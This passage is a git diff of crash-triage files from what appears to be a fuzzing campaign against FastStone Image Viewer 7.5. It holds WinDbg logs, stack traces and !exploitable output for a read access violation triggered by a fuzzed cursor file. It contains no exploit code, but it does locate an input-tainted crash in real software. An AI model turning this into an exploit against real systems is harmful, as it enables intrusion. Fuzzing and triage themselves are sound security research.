+ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(854.5b8): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=001a4002 ebx=007fed2d ecx=07e47b10 edx=00003879 esi=fe630010 edi=0fd1afd4 +eip=005bdfc9 esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz na pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210206 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.715714303862129760000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 2.539999999999999999970e+0000 st7= 3.000000000000000000000e+0002 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=0.342912 1.7287e+025 5.24785e-009 1.08642e+025 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfc9 +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07f28130 07ea5930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 002bc000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 002bc000 0091420d 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d6298 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 002bc000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x1a4002 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:READ +FAULTING_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_COUNT:12 +BASIC_BLOCK_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfcb mov byte ptr [esi+edx+2],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfcf mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfd2 mov cl,byte ptr [eax-1] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfd5 mov byte ptr [esi+edx+1],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfd9 mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfdc mov cl,byte ptr [eax-2] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfdf mov byte ptr [esi+edx],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfe2 inc dword ptr [ebp-24h] +BASIC_BLOCK_INSTRUCTION:005bdfe5 add eax,4 +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfe8 dec ebx +BASIC_BLOCK_INSTRUCTION:005bdfe9 jne image00000000_00400000+0x1bdfb8 (005bdfb8) +MAJOR_HASH:0x67613208 +MINOR_HASH:0x052e1964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfc9 +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfc9 +INVOKING_STACK_FRAME:0 +DESCRIPTION:Read Access Violation +SHORT_DESCRIPTION:ReadAV +CLASSIFICATION:UNKNOWN +BUG_TITLE:Read Access Violation starting at image00000000_00400000+0x00000000001bdfc9 (Hash=0x67613208.0x052e1964) diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/56596/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/56596/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..f9e3868 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/56596/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/57725/Initial/SystemDebugger_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/57725/Initial/SystemDebugger_description.txt new file mode 100644 index 0000000..24ca36b --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/57725/Initial/SystemDebugger_description.txt @@ -0,0 +1,2 @@ +First Chance Exception: 0xc0000005 +Access Violation Reading From 0x00000000001a4002 \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/57725/Initial/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/57725/Initial/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..e63e93d Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/57725/Initial/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/57725/WindowsDebugEngine_StackTrace.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/57725/WindowsDebugEngine_StackTrace.txt new file mode 100644 index 0000000..f4739b3 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/57725/WindowsDebugEngine_StackTrace.txt @@ -0,0 +1,193 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x184C: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x184C: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(184c.1550): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=001a4002 ebx=0003ed2d ecx=07ed7b10 edx=00003879 esi=ffd70010 edi=0fc6efd4 +eip=005bdfc9 esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz na pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210206 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.741047051771987040000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 6.250000000000000000000e-0002 st7= 3.000000000000000000000e+0002 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=4.17786e+030 2.12169e+009 1.41531e+038 -11.8818 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfc9 +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07fb8130 07f35930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 00247000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 00247000 e054a0aa 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62b3 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 00247000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x1a4002 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:READ +FAULTING_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_COUNT:12 +BASIC_BLOCK_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfcb mov byte ptr [esi+edx+2],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfcf mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfd2 mov cl,byte ptr [eax-1] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfd5 mov byte ptr [esi+edx+1],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfd9 mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfdc mov cl,byte ptr [eax-2] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfdf mov byte ptr [esi+edx],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfe2 inc dword ptr [ebp-24h] +BASIC_BLOCK_INSTRUCTION:005bdfe5 add eax,4 +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfe8 dec ebx +BASIC_BLOCK_INSTRUCTION:005bdfe9 jne image00000000_00400000+0x1bdfb8 (005bdfb8) +MAJOR_HASH:0x67613208 +MINOR_HASH:0x052e1964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfc9 +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfc9 +INVOKING_STACK_FRAME:0 +DESCRIPTION:Read Access Violation +SHORT_DESCRIPTION:ReadAV +CLASSIFICATION:UNKNOWN +BUG_TITLE:Read Access Violation starting at image00000000_00400000+0x00000000001bdfc9 (Hash=0x67613208.0x052e1964) diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/57725/WindowsDebugEngine_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/57725/WindowsDebugEngine_description.txt new file mode 100644 index 0000000..f4739b3 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/57725/WindowsDebugEngine_description.txt @@ -0,0 +1,193 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x184C: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x184C: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 